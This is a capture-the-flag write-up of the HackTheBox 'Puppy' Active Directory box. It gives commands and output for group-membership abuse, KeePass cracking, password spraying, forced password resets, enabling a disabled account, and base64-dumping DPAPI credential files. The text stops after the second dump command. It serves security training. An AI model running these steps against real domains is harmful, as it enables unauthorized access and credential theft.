HTB: Puppy

Puppy is a Windows Active Directory pentest simulation. It starts with a set of creds in the HR group, which a common target of phishing attacks. That user has GenericWrite over the Developers group, so I’ll add my user and get access to SMB shares where I’ll find a KeePassXC database. I’ll crack the secret with John, and get auth as the next user. That uses is a member of Senior Devs, which has GenericAll over another user. I’ll reset that user’s password and get a WinRM session. This user has access to a site backup, where I’ll find a password to spray and get WinRM as the next user. Finally, I’ll abuse that user’s DPAPI access to get a saved credential for an administrator.
Box Info
Name | Puppy ![]() Play on HackTheBox |
---|---|
Release Date | 17 May 2025 |
Retire Date | 27 Sep 2025 |
OS | Windows ![]() |
Base Points | Medium [30] |
Rated Difficulty | ![]() |
Radar Graph | ![]() |
![]() |
00:09:52 |
![]() |
00:20:45 |
Creator | |
Scenario | As is common in real life pentests, you will start the Puppy box with credentials for the following account: levi.james / KingofAkron2025! |
Recon
Initial Scanning
nmap
finds a bunch of open TCP ports:
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.70
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-21 11:44 UTC
Nmap scan report for 10.10.11.70
Host is up (0.091s latency).
Not shown: 65512 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
111/tcp open rpcbind
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
2049/tcp open nfs
3260/tcp open iscsi
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49664/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49670/tcp open unknown
60141/tcp open unknown
60150/tcp open unknown
60168/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 13.43 seconds
oxdf@hacky$ nmap -p 53,88,111,135,139,389,445,464,593,636,2049,3260,3268,3269,5985,9389 -vv -sCV 10.10.11.70
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-21 11:45 UTC
...[snip]...
Completed NSE at 11:49, 0.00s elapsed
Nmap scan report for 10.10.11.70
Host is up, received echo-reply ttl 127 (0.091s latency).
Scanned at 2025-05-21 11:45:41 UTC for 220s
Bug in iscsi-info: no string output.
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-05-21 20:23:06Z)
111/tcp open rpcbind syn-ack ttl 127 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
2049/tcp open nlockmgr syn-ack ttl 127 1-4 (RPC #100021)
3260/tcp open iscsi? syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-05-21T20:25:08
|_ start_date: N/A
|_clock-skew: 8h37m18s
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 62785/tcp): CLEAN (Timeout)
| Check 2 (port 47994/tcp): CLEAN (Timeout)
| Check 3 (port 26380/udp): CLEAN (Timeout)
| Check 4 (port 46192/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Nmap done: 1 IP address (1 host up) scanned in 219.65 seconds
Raw packets sent: 20 (856B) | Rcvd: 17 (732B)
The box shows many of the ports associated with a Windows Domain Controller. The domain is puppy.htb
, and the hostname is DC
.
I’ll use netexec
to generate a hosts file and add it to my /etc/hosts
:
oxdf@hacky$ netexec smb 10.10.11.70 --generate-hosts-file puppy.hosts
SMB 10.10.11.70 445 DC Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
oxdf@hacky$ cat puppy.hosts /etc/hosts | sponge /etc/hosts
Initial Credentials
HackTheBox provides the following scenario associated with Puppy:
As is common in real life pentests, you will start the Puppy box with credentials for the following account: levi.james / KingofAkron2025!
The creds do work:
oxdf@hacky$ netexec smb puppy.htb -u levi.james -p 'KingofAkron2025!'
SMB 10.10.11.70 445 DC Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.10.11.70 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
They also work for LDAP, but not WinRM (unsurprisingly):
oxdf@hacky$ netexec ldap puppy.htb -u levi.james -p 'KingofAkron2025!'
LDAP 10.10.11.70 389 DC Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
LDAP 10.10.11.70 389 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
oxdf@hacky$ netexec winrm puppy.htb -u levi.james -p 'KingofAkron2025!'
WINRM 10.10.11.70 5985 DC Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
WINRM 10.10.11.70 5985 DC [-] PUPPY.HTB\levi.james:KingofAkron2025!
Given that, I’ll want to prioritize things like:
- SMB shares
- Bloodhound (which includes most of the data from LDAP)
- ADCS
SMB - TCP 445
Beyond the standard DC shares, there’s a share named DEV
:
oxdf@hacky$ netexec smb puppy.htb -u levi.james -p 'KingofAkron2025!' --shares
SMB 10.10.11.70 445 DC Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.10.11.70 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB 10.10.11.70 445 DC Enumerated shares
SMB 10.10.11.70 445 DC Share Permissions Remark
SMB 10.10.11.70 445 DC ----- ----------- ------
SMB 10.10.11.70 445 DC ADMIN$ Remote Admin
SMB 10.10.11.70 445 DC C$ Default share
SMB 10.10.11.70 445 DC DEV DEV-SHARE for PUPPY-DEVS
SMB 10.10.11.70 445 DC IPC$ READ Remote IPC
SMB 10.10.11.70 445 DC NETLOGON READ Logon server share
SMB 10.10.11.70 445 DC SYSVOL READ Logon server share
I can try to connect, but I’m unable to read anything:
oxdf@hacky$ smbclient //puppy.htb/dev -U 'levi.james%KingofAkron2025!'
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
The remark does say “DEV-SHARE for PUPPY-DEVS”.
There are nine users on the host:
oxdf@hacky$ netexec smb puppy.htb -u levi.james -p 'KingofAkron2025!' --users
SMB 10.10.11.70 445 DC Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.10.11.70 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB 10.10.11.70 445 DC -Username- -Last PW Set- -BadPW- -Description-
SMB 10.10.11.70 445 DC Administrator 2025-02-19 19:33:28 0 Built-in account for administering the computer/domain
SMB 10.10.11.70 445 DC Guest <never> 0 Built-in account for guest access to the computer/domain
SMB 10.10.11.70 445 DC krbtgt 2025-02-19 11:46:15 0 Key Distribution Center Service Account
SMB 10.10.11.70 445 DC levi.james 2025-02-19 12:10:56 0
SMB 10.10.11.70 445 DC ant.edwards 2025-02-19 12:13:14 0
SMB 10.10.11.70 445 DC adam.silver 2025-05-21 21:19:29 0
SMB 10.10.11.70 445 DC jamie.williams 2025-02-19 12:17:26 0
SMB 10.10.11.70 445 DC steph.cooper 2025-02-19 12:21:00 0
SMB 10.10.11.70 445 DC steph.cooper_adm 2025-03-08 15:50:40 0
SMB 10.10.11.70 445 DC Enumerated 9 local users: PUPPY
Nothing unusual there.
Bloodhound
I’ll use BloodHound.py to collect Bloodhound data:
oxdf@hacky$ sudo ntpdate puppy.htb
2025-05-21 21:27:55.583922 (+0000) +31038.243275 +/- 0.047243 puppy.htb 10.10.11.70 s1 no-leap
CLOCK: time stepped by 31038.243275
oxdf@hacky$ bloodhound-ce-python -c all -d puppy.htb -u levi.james -p 'KingofAkron2025!' -ns 10.10.11.70 --zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: puppy.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 10 users
INFO: Found 56 groups
INFO: Found 3 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.PUPPY.HTB
INFO: Done in 00M 17S
INFO: Compressing output into 20250521213138_bloodhound.zip
I’ll upload the resulting zip into BloodHound-CE Docker, and find levi.james to mark as owned. Their outbound control shows that by being in the HR group they have GenericWrite
over the Developers group:

This group currently has three members:

Auth as Ant.Edwards
Access DEV Share
There’s no obvious path from the Developers group in Bloodhound, but given the remark on the SMB share, it seems reasonable to have levi.james add themselves to the Developers group, and then recheck the share permissions.
There are lots of tools to do this. I’ll use net
(from apt install samba
):
oxdf@hacky$ net rpc group addmem developers levi.james -U puppy.htb/levi.james%'KingofAkron2025!' -S puppy.htb
oxdf@hacky$ net rpc group members developers -U puppy.htb/levi.james%'KingofAkron2025!' -S puppy.htb
PUPPY\levi.james
PUPPY\ant.edwards
PUPPY\adam.silver
PUPPY\jamie.williams
There is a cleanup script running periodically, so I’ll keep this add command handy.
netexec
shows that levi.james has READ access now:
oxdf@hacky$ netexec smb puppy.htb -u levi.james -p 'KingofAkron2025!' --shares
SMB 10.10.11.70 445 DC Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.10.11.70 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB 10.10.11.70 445 DC Enumerated shares
SMB 10.10.11.70 445 DC Share Permissions Remark
SMB 10.10.11.70 445 DC ----- ----------- ------
SMB 10.10.11.70 445 DC ADMIN$ Remote Admin
SMB 10.10.11.70 445 DC C$ Default share
SMB 10.10.11.70 445 DC DEV READ DEV-SHARE for PUPPY-DEVS
SMB 10.10.11.70 445 DC IPC$ READ Remote IPC
SMB 10.10.11.70 445 DC NETLOGON READ Logon server share
SMB 10.10.11.70 445 DC SYSVOL READ Logon server share
And I can connect:
oxdf@hacky$ smbclient -U puppy.htb/levi.james //puppy.htb/dev --password 'KingofAkron2025!'
Try "help" to get a list of possible commands.
smb: \> ls
. DR 0 Sun Mar 23 07:07:57 2025
.. D 0 Sat Mar 8 16:52:57 2025
KeePassXC-2.7.9-Win64.msi A 34394112 Sun Mar 23 07:09:12 2025
Projects D 0 Sat Mar 8 16:53:36 2025
recovery.kdbx A 2677 Wed Mar 12 02:25:46 2025
5080575 blocks of size 4096. 1538336 blocks available
The Projects
directory is empty. The installer gives the version of KeePassXC in use. I’ll download the database:
smb: \> get recovery.kdbx
getting file \recovery.kdbx of size 2677 as recovery.kdbx (7.0 KiloBytes/sec) (average 7.0 KiloBytes/sec)
Access KeePassXC Database
Generate Hash
I’ll need to know the master password to access the KeePassXC database. If I try to run keepass2john
on the database to generate a hash, it fails:
oxdf@hacky$ keepass2john recovery.kdbx
! recovery.kdbx : File version '40000' is currently not supported!
Searching for this error leads to this GitHub issue:

I could download and compile the JohnTheRipper project, but it turns out that installing from snap
makes the new version available:
oxdf@hacky$ sudo snap install john-the-ripper
john-the-ripper v1.9.1-ce from Claudio André (claudioandre-br) installed
And now I can get the hash:
oxdf@hacky$ john-the-ripper.keepass2john recovery.kdbx | tee recovery.kdbx.hash
recovery:$keepass$*4*37*ef636ddf*67108864*19*4*bf70d9925723ccf623575d62e4c4fb590a2b2b4323ac35892cf2662853527714*d421b15d6c79e29ecb70c8e1c2e92b4b27dc8d9ae6d8107292057feb92441470*03d9a29a67fb4bb500000400021000000031c1f2e6bf714350be5805216afc5aff0304000000010000000420000000bf70d9925723ccf623575d62e4c4fb590a2b2b4323ac35892cf266285352771407100000000ab56ae17c5cebf440092907dac20a350b8b00000000014205000000245555494410000000ef636ddf8c29444b91f7a9a403e30a0c05010000004908000000250000000000000005010000004d080000000000000400000000040100000050040000000400000042010000005320000000d421b15d6c79e29ecb70c8e1c2e92b4b27dc8d9ae6d8107292057feb9244147004010000005604000000130000000000040000000d0a0d0a*31614848015626f2451cc4d07ce9a281a416c8e8c2ff8cc45c69ce1f4daef0e9
Crack
hashcat
cannot yet handle this hash format, so I’ll use my freshly installed john
:
oxdf@hacky$ john-the-ripper recovery.kdbx.hash --wordlist=rockyou.txt
KeePass-opencl: Argon2 hash(es) not supported, skipping.
Warning: detected hash type "KeePass", but the string is also recognized as "KeePass-Argon2-opencl"
Use the "--format=KeePass-Argon2-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [AES/Argon2 256/256 AVX2])
Cost 1 (t (rounds)) is 37 for all loaded hashes
Cost 2 (m) is 65536 for all loaded hashes
Cost 3 (p) is 4 for all loaded hashes
Cost 4 (KDF [0=Argon2d 2=Argon2id 3=AES]) is 0 for all loaded hashes
Will run 12 OpenMP threads
Note: Passwords longer than 41 [worst case UTF-8] to 124 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
liverpool (recovery)
1g 0:00:00:11 DONE (2025-05-21 23:00) 0.08857g/s 3.189p/s 3.189c/s 3.189C/s tigger..liverpool
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
The password is “liverpool”.
Dump Passwords
I’ll install KeePassXC (sudo snap install keepassxc
). This includes keepassxc.cli
, which can export the database:
oxdf@hacky$ keepassxc.cli export --format csv recovery.kdbx
Enter password to unlock recovery.kdbx:
"Group","Title","Username","Password","URL","Notes","TOTP","Icon","Last Modified","Created"
"Root","JAMIE WILLIAMSON","","JamieLove2025!","puppy.htb","","","0","2025-03-10T08:57:58Z","2025-03-10T08:57:01Z"
"Root","ADAM SILVER","","HJKL2025!","puppy.htb","","","0","2025-03-10T09:01:02Z","2025-03-10T08:58:07Z"
"Root","ANTONY C. EDWARDS","","Antman2025!","puppy.htb","","","0","2025-03-10T09:00:02Z","2025-03-10T08:58:46Z"
"Root","STEVE TUCKER","","Steve2025!","puppy.htb","","","0","2025-03-10T09:03:48Z","2025-03-10T09:01:26Z"
"Root","SAMUEL BLAKE","","ILY2025!","puppy.htb","","","0","2025-03-10T09:03:39Z","2025-03-10T09:02:03Z"
Password Spray
I can try to match these passwords up with users on the box, but I’ll just make a list of all users and spray the passwords:
oxdf@hacky$ netexec smb puppy.htb -u levi.james -p 'KingofAkron2025!' --users | grep -vF -e '[' -e '-Username-' | awk '{print $5}' | tee users.txt
Administrator
Guest
krbtgt
levi.james
ant.edwards
adam.silver
jamie.williams
steph.cooper
steph.cooper_adm
I’ll make a file with the passwords:
oxdf@hacky$ echo 'liverpool' | keepassxc.cli export --format csv recovery.kdbx | cut -d'"' -f8 | tee passwords.txt
Enter password to unlock recovery.kdbx:
Password
JamieLove2025!
HJKL2025!
Antman2025!
Steve2025!
ILY2025!
I’ll use netexec
to spray and grep
to get just the successes:
oxdf@hacky$ netexec smb puppy.htb -u users.txt -p passwords.txt --continue-on-success | grep -F '[+]'
SMB 10.10.11.70 445 DC [+] PUPPY.HTB\ant.edwards:Antman2025!
It works for SMB, but not WinRM:
oxdf@hacky$ netexec smb puppy.htb -u ant.edwards -p 'Antman2025!'
SMB 10.10.11.70 445 DC Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.10.11.70 445 DC [+] PUPPY.HTB\ant.edwards:Antman2025!
oxdf@hacky$ netexec winrm puppy.htb -u ant.edwards -p 'Antman2025!'
WINRM 10.10.11.70 5985 DC Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
WINRM 10.10.11.70 5985 DC [-] PUPPY.HTB\ant.edwards:Antman2025!
Shell as Adam.Silver
Enumeration
Bloodhound shows that Ant.Edwards is a member of Senior Devs which gives them GenericAll
over Adam.Silver:

This gives the ability for me to do a Targeted Kerberoast attack, change the users password, or add a shadow credential.
Password Change
Reset
I’ll start by changing Adam.Silver’s password using net
just like the instructions in Bloodhound:

oxdf@hacky$ net rpc password adam.silver '0xdf0xdf.' -U puppy.htb/ant.edwards%'Antman2025!' -S puppy.htb
I’ll test it, and it fails:
oxdf@hacky$ netexec smb puppy.htb -u adam.silver -p '0xdf0xdf.'
SMB 10.10.11.70 445 DC Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\adam.silver:0xdf0xdf. STATUS_ACCOUNT_DISABLED
The account is disabled. I could see this in my Bloodhound data as well:

Enable
Just like in Vintage, I’ll enable the account using BloodyAD:
oxdf@hacky$ bloodyAD -u ant.edwards -p 'Antman2025!' --host dc.puppy.htb -d puppy.htb remove uac adam.silver -f ACCOUNTDISABLE[-] ['ACCOUNTDISABLE'] property flags removed from adam.silver's userAccountControl
Now it works:
oxdf@hacky$ netexec smb puppy.htb -u adam.silver -p '0xdf0xdf.'
SMB 10.10.11.70 445 DC Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.10.11.70 445 DC [+] PUPPY.HTB\adam.silver:0xdf0xdf.
WinRM
Adam.Silver has access to WinRM as well:
oxdf@hacky$ netexec winrm puppy.htb -u adam.silver -p '0xdf0xdf.'
WINRM 10.10.11.70 5985 DC Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
WINRM 10.10.11.70 5985 DC [+] PUPPY.HTB\adam.silver:0xdf0xdf. (Pwn3d!)
I could see this in Bloodhound as well:

I’ll connect with evil-winrm-py (giving a new tool a spin):
oxdf@hacky$ evil-winrm -i puppy.htb -u adam.silver -p 0xdf0xdf..
Evil-WinRM shell v3.7
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\adam.silver\Documents>
And get user.txt
:
*Evil-WinRM* PS C:\Users\adam.silver\desktop> cat user.txt
790a0fd5************************
Shell as Steph.Cooper
Enumeration
File System
adam.silver’s home directory is completely empty other than the flag:
*Evil-WinRM* PS C:\Users\adam.silver> tree /f
Folder PATH listing
Volume serial number is 311D-593C
C:.
+---3D Objects
+---Contacts
+---Desktop
¦ Microsoft Edge.lnk
¦ user.txt
¦
+---Documents
+---Downloads
+---Favorites
¦ ¦ Bing.url
¦ ¦
¦ +---Links
+---Links
¦ Desktop.lnk
¦ Downloads.lnk
¦
+---Music
+---Pictures
+---Saved Games
+---Searches
+---Videos
The root of C
has an unusual directory, Backups
:
*Evil-WinRM* PS C:\> ls
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/9/2025 10:48 AM Backups
d----- 5/12/2025 5:21 PM inetpub
d----- 5/8/2021 1:20 AM PerfLogs
d-r--- 4/4/2025 3:40 PM Program Files
d----- 5/8/2021 2:40 AM Program Files (x86)
d----- 3/8/2025 9:00 AM StorageReports
d-r--- 3/8/2025 8:52 AM Users
d----- 5/13/2025 4:40 PM Windows
I’ll download it:
*Evil-WinRM* PS C:\Backups> download site-backup-2024-12-30.zip
Info: Downloading C:\Backups\site-backup-2024-12-30.zip to site-backup-2024-12-30.zip
Info: Download successful!
Site Backup
The zip file contains a backup of a website that isn’t present on the box:
oxdf@hacky$ unzip -l site-backup-2024-12-30.zip
Archive: site-backup-2024-12-30.zip
Length Date Time Name
--------- ---------- ----- ----
0 1980-00-00 00:00 puppy/
864 1980-00-00 00:00 puppy/nms-auth-config.xml.bak
0 1980-00-00 00:00 puppy/images/
98560 1980-00-00 00:00 puppy/images/banner.jpg
650325 1980-00-00 00:00 puppy/images/jamie.jpg
692101 1980-00-00 00:00 puppy/images/antony.jpg
1175364 1980-00-00 00:00 puppy/images/adam.jpg
810357 1980-00-00 00:00 puppy/images/Levi.jpg
0 1980-00-00 00:00 puppy/assets/
0 1980-00-00 00:00 puppy/assets/js/
831 1980-00-00 00:00 puppy/assets/js/jquery.scrolly.min.js
12433 1980-00-00 00:00 puppy/assets/js/util.js
2439 1980-00-00 00:00 puppy/assets/js/breakpoints.min.js
89501 1980-00-00 00:00 puppy/assets/js/jquery.min.js
1499 1980-00-00 00:00 puppy/assets/js/main.js
5106 1980-00-00 00:00 puppy/assets/js/jquery.dropotron.min.js
2051 1980-00-00 00:00 puppy/assets/js/browser.min.js
0 1980-00-00 00:00 puppy/assets/webfonts/
34034 1980-00-00 00:00 puppy/assets/webfonts/fa-regular-400.eot
918991 1980-00-00 00:00 puppy/assets/webfonts/fa-solid-900.svg
202744 1980-00-00 00:00 puppy/assets/webfonts/fa-solid-900.ttf
78268 1980-00-00 00:00 puppy/assets/webfonts/fa-solid-900.woff2
747927 1980-00-00 00:00 puppy/assets/webfonts/fa-brands-400.svg
101648 1980-00-00 00:00 puppy/assets/webfonts/fa-solid-900.woff
203030 1980-00-00 00:00 puppy/assets/webfonts/fa-solid-900.eot
33736 1980-00-00 00:00 puppy/assets/webfonts/fa-regular-400.ttf
13224 1980-00-00 00:00 puppy/assets/webfonts/fa-regular-400.woff2
144714 1980-00-00 00:00 puppy/assets/webfonts/fa-regular-400.svg
134294 1980-00-00 00:00 puppy/assets/webfonts/fa-brands-400.eot
89988 1980-00-00 00:00 puppy/assets/webfonts/fa-brands-400.woff
133988 1980-00-00 00:00 puppy/assets/webfonts/fa-brands-400.ttf
76736 1980-00-00 00:00 puppy/assets/webfonts/fa-brands-400.woff2
16276 1980-00-00 00:00 puppy/assets/webfonts/fa-regular-400.woff
0 1980-00-00 00:00 puppy/assets/css/
50255 1980-00-00 00:00 puppy/assets/css/main.css
0 1980-00-00 00:00 puppy/assets/css/images/
108 1980-00-00 00:00 puppy/assets/css/images/overlay.png
2819 1980-00-00 00:00 puppy/assets/css/images/highlight.png
59401 1980-00-00 00:00 puppy/assets/css/fontawesome-all.min.css
0 1980-00-00 00:00 puppy/assets/sass/
25026 1980-00-00 00:00 puppy/assets/sass/main.scss
0 1980-00-00 00:00 puppy/assets/sass/libs/
7355 1980-00-00 00:00 puppy/assets/sass/libs/_vendor.scss
1957 1980-00-00 00:00 puppy/assets/sass/libs/_functions.scss
2840 1980-00-00 00:00 puppy/assets/sass/libs/_html-grid.scss
210 1980-00-00 00:00 puppy/assets/sass/libs/_vars.scss
4577 1980-00-00 00:00 puppy/assets/sass/libs/_breakpoints.scss
2218 1980-00-00 00:00 puppy/assets/sass/libs/_mixins.scss
7258 1980-00-00 00:00 puppy/index.html
--------- -------
6635053 49 files
Most of it is static web stuff, but nms-auth-config.xml.bak
jumps out as a config file:
oxdf@hacky$ unzip site-backup-2024-12-30.zip puppy/nms-auth-config.xml.bak
Archive: site-backup-2024-12-30.zip
inflating: puppy/nms-auth-config.xml.bak
oxdf@hacky$ cat puppy/nms-auth-config.xml.bak
<?xml version="1.0" encoding="UTF-8"?>
<ldap-config>
<server>
<host>DC.PUPPY.HTB</host>
<port>389</port>
<base-dn>dc=PUPPY,dc=HTB</base-dn>
<bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
<bind-password>ChefSteph2025!</bind-password>
</server>
<user-attributes>
<attribute name="username" ldap-attribute="uid" />
<attribute name="firstName" ldap-attribute="givenName" />
<attribute name="lastName" ldap-attribute="sn" />
<attribute name="email" ldap-attribute="mail" />
</user-attributes>
<group-attributes>
<attribute name="groupName" ldap-attribute="cn" />
<attribute name="groupMember" ldap-attribute="member" />
</group-attributes>
<search-filter>
<filter>(&(objectClass=person)(uid=%s))</filter>
</search-filter>
</ldap-config>
There’s a password there for Steph.Cooper, “ChefSteph2025!”.
WinRM
The password works for both SMB and WinRM:
oxdf@hacky$ netexec smb puppy.htb -u steph.cooper -p 'ChefSteph2025!'
SMB 10.10.11.70 445 DC Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.10.11.70 445 DC [+] PUPPY.HTB\steph.cooper:ChefSteph2025!
oxdf@hacky$ netexec winrm puppy.htb -u steph.cooper -p 'ChefSteph2025!'
WINRM 10.10.11.70 5985 DC Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
WINRM 10.10.11.70 5985 DC [+] PUPPY.HTB\steph.cooper:ChefSteph2025! (Pwn3d!)
I’ll get a shell:
oxdf@hacky$ evil-winrm -i puppy.htb -u steph.cooper -p 'ChefSteph2025!'
Evil-WinRM shell v3.7
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\steph.cooper\Documents>
Shell as steph.cooper_adm
Enumeration
Steph.Cooper has a credential stored in the Windows Credential Manager:
*Evil-WinRM* PS C:\Users\steph.cooper\appdata\Roaming\Microsoft\Credentials> ls -force
Directory: C:\Users\steph.cooper\appdata\Roaming\Microsoft\Credentials
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 3/8/2025 7:54 AM 414 C8D69EBE9A43E9DEBF6B5FBD48B521B9
There is a master key in the standard place as well:
*Evil-WinRM* PS C:\Users\steph.cooper\appdata\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107> ls -force
Directory: C:\Users\steph.cooper\appdata\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 3/8/2025 7:40 AM 740 556a2412-1275-4ccf-b721-e6a0b4f90407
-a-hs- 2/23/2025 2:36 PM 24 Preferred
DPAPI
For some reason, Evil-WinRM is crashing trying to download these files (just like on Vinrtage):
*Evil-WinRM* PS C:\Users\steph.cooper\appdata\Roaming\Microsoft\Credentials> download C8D69EBE9A43E9DEBF6B5FBD48B521B9
Info: Downloading C:\Users\steph.cooper\appdata\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 to C8D69EBE9A43E9DEBF6B5FBD48B521B9
Error: Download failed. Check filenames or paths: uninitialized constant WinRM::FS::FileManager::EstandardError
I’ll base64 encode them:
*Evil-WinRM* PS C:\> [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\steph.cooper\appdata\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9'))
AQAAAJIBAAAAAAAAAQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAEiRqVXUSz0y3IeagtPkEBwAAACA6AAAARQBuAHQAZQByAHAAcgBpAHMAZQAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABEAGEAdABhAA0ACgAAAANmAADAAAAAEAAAAHEb7RgOmv+9Na4Okf93s5UAAAAABIAAAKAAAAAQAAAACtD/ejPwVzLZOMdWJSHNcNAAAAAxXrMDYlY3P7k8AxWLBmmyKBrAVVGhfnfVrkzLQu2ABNeu0R62bEFJ0CdfcBONlj8Jg2mtcVXXWuYPSiVDse/sOudQSf3ZGmYhCz21A8c6JCGLjWuS78fQnyLW5RVLLzZp2+6gEcSU1EsxFdHCp9cT1fHIHl0cXbIvGtfUdeIcxPq/nN5PY8TR3T8i7rw1h5fEzlCX7IFzIu0avyGPnrIDNgButIkHWX+xjrzWKXGEiGrMkbgiRvfdwFxb/XrET9Op8oGxLkI6Mr8QmFZbjS41FAAAADqxkFzw7vbQSYX1LftJiaf2waSc
*Evil-WinRM* PS C:\> [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\steph.cooper\appdata\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407'))
